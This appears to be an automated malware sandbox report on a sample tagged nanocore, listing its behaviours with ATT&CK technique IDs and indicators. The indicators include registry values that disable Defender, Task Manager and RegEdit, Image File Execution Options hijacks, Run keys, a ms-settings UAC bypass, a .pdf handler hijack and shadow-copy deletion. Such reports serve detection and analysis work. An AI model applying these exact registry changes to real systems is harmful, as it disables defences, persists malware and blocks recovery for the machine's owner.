nanocore | 6850881af0beb048c098fcdfc1740ba3470e09f4166a155d1825649a00f683d6

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	libecch.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1296	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	libecch.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	libecch.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1912	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	libecch.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4256	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	libecch.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4876	wscript.exe
1252	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	libecch.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4396	sc.exe
4876	sc.exe
4472	sc.exe
1912	sc.exe
4668	sc.exe
5052	sc.exe
2608	sc.exe
4796	sc.exe
2240	sc.exe
4300	sc.exe
5832	sc.exe
1708	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3432	cmd.exe
2684	cmd.exe
5500	cmd.exe
3300	cmd.exe
4268	cmd.exe
2828	cmd.exe
2180	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2744	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2460	ipconfig.exe
3620	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5740	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2580	vssadmin.exe
4964	vssadmin.exe
3676	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	libecch.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304856493122520"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe\" \"%1\""	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	libecch.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2608	schtasks.exe
4272	schtasks.exe
1228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
5740	WMIC.exe
5740	WMIC.exe
5740	WMIC.exe
5740	WMIC.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
4716	WMIC.exe
4716	WMIC.exe
4716	WMIC.exe
4716	WMIC.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
1224	WMIC.exe
1224	WMIC.exe
1224	WMIC.exe
1224	WMIC.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe
240	libecch.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
240	libecch.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeIncreaseQuotaPrivilege	5740	WMIC.exe
Token: SeSecurityPrivilege	5740	WMIC.exe
Token: SeTakeOwnershipPrivilege	5740	WMIC.exe
Token: SeLoadDriverPrivilege	5740	WMIC.exe
Token: SeSystemProfilePrivilege	5740	WMIC.exe
Token: SeSystemtimePrivilege	5740	WMIC.exe
Token: SeProfSingleProcessPrivilege	5740	WMIC.exe
Token: SeIncBasePriorityPrivilege	5740	WMIC.exe
Token: SeCreatePagefilePrivilege	5740	WMIC.exe
Token: SeBackupPrivilege	5740	WMIC.exe
Token: SeRestorePrivilege	5740	WMIC.exe
Token: SeShutdownPrivilege	5740	WMIC.exe
Token: SeDebugPrivilege	5740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5740	WMIC.exe
Token: SeRemoteShutdownPrivilege	5740	WMIC.exe
Token: SeUndockPrivilege	5740	WMIC.exe
Token: SeManageVolumePrivilege	5740	WMIC.exe
Token: 33	5740	WMIC.exe
Token: 34	5740	WMIC.exe
Token: 35	5740	WMIC.exe
Token: 36	5740	WMIC.exe
Token: SeBackupPrivilege	4592	vssvc.exe
Token: SeRestorePrivilege	4592	vssvc.exe
Token: SeAuditPrivilege	4592	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5740	WMIC.exe
Token: SeSecurityPrivilege	5740	WMIC.exe
Token: SeTakeOwnershipPrivilege	5740	WMIC.exe
Token: SeLoadDriverPrivilege	5740	WMIC.exe
Token: SeSystemProfilePrivilege	5740	WMIC.exe
Token: SeSystemtimePrivilege	5740	WMIC.exe
Token: SeProfSingleProcessPrivilege	5740	WMIC.exe
Token: SeIncBasePriorityPrivilege	5740	WMIC.exe
Token: SeCreatePagefilePrivilege	5740	WMIC.exe
Token: SeBackupPrivilege	5740	WMIC.exe
Token: SeRestorePrivilege	5740	WMIC.exe
Token: SeShutdownPrivilege	5740	WMIC.exe
Token: SeDebugPrivilege	5740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5740	WMIC.exe
Token: SeRemoteShutdownPrivilege	5740	WMIC.exe
Token: SeUndockPrivilege	5740	WMIC.exe
Token: SeManageVolumePrivilege	5740	WMIC.exe
Token: 33	5740	WMIC.exe
Token: 34	5740	WMIC.exe
Token: 35	5740	WMIC.exe
Token: 36	5740	WMIC.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeIncreaseQuotaPrivilege	1296	powershell.exe
Token: SeSecurityPrivilege	1296	powershell.exe
Token: SeTakeOwnershipPrivilege	1296	powershell.exe
Token: SeLoadDriverPrivilege	1296	powershell.exe
Token: SeSystemProfilePrivilege	1296	powershell.exe
Token: SeSystemtimePrivilege	1296	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
240	libecch.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 240 wrote to memory of 5460	240	libecch.io_chrome.exe	88
PID 5460 wrote to memory of 3712	5460	chrome.exe	89
PID 240 wrote to memory of 1296	240	libecch.io_chrome.exe	90
PID 240 wrote to memory of 4396	240	libecch.io_chrome.exe	92
PID 240 wrote to memory of 2240	240	libecch.io_chrome.exe	94
PID 5460 wrote to memory of 2744	5460	chrome.exe	96
PID 5460 wrote to memory of 2464	5460	chrome.exe	97
PID 5460 wrote to memory of 2464	5460	chrome.exe	97
PID 5460 wrote to memory of 4648	5460	chrome.exe	98
PID 5460 wrote to memory of 4648	5460	chrome.exe	98
PID 5460 wrote to memory of 1080	5460	chrome.exe	99
PID 5460 wrote to memory of 1080	5460	chrome.exe	99
PID 5460 wrote to memory of 3408	5460	chrome.exe	100
PID 5460 wrote to memory of 3408	5460	chrome.exe	100
PID 240 wrote to memory of 4876	240	libecch.io_chrome.exe	130
PID 240 wrote to memory of 4472	240	libecch.io_chrome.exe	104
PID 240 wrote to memory of 1912	240	libecch.io_chrome.exe	145
PID 240 wrote to memory of 2608	240	libecch.io_chrome.exe	132
PID 240 wrote to memory of 4668	240	libecch.io_chrome.exe	110
PID 5460 wrote to memory of 3676	5460	chrome.exe	178
PID 5460 wrote to memory of 3676	5460	chrome.exe	178
PID 240 wrote to memory of 5052	240	libecch.io_chrome.exe	112
PID 5460 wrote to memory of 2576	5460	chrome.exe	114
PID 5460 wrote to memory of 2576	5460	chrome.exe	114
PID 240 wrote to memory of 1808	240	libecch.io_chrome.exe	116
PID 240 wrote to memory of 4796	240	libecch.io_chrome.exe	117
PID 240 wrote to memory of 4300	240	libecch.io_chrome.exe	119
PID 240 wrote to memory of 2580	240	libecch.io_chrome.exe	122
PID 1808 wrote to memory of 2136	1808	fodhelper.exe	121
PID 240 wrote to memory of 5740	240	libecch.io_chrome.exe	172
PID 240 wrote to memory of 4876	240	libecch.io_chrome.exe	130
PID 240 wrote to memory of 2608	240	libecch.io_chrome.exe	132
PID 240 wrote to memory of 1228	240	libecch.io_chrome.exe	134
PID 240 wrote to memory of 1232	240	libecch.io_chrome.exe	138
PID 240 wrote to memory of 4964	240	libecch.io_chrome.exe	139
PID 240 wrote to memory of 4716	240	libecch.io_chrome.exe	141
PID 240 wrote to memory of 2588	240	libecch.io_chrome.exe	143
PID 240 wrote to memory of 1912	240	libecch.io_chrome.exe	145
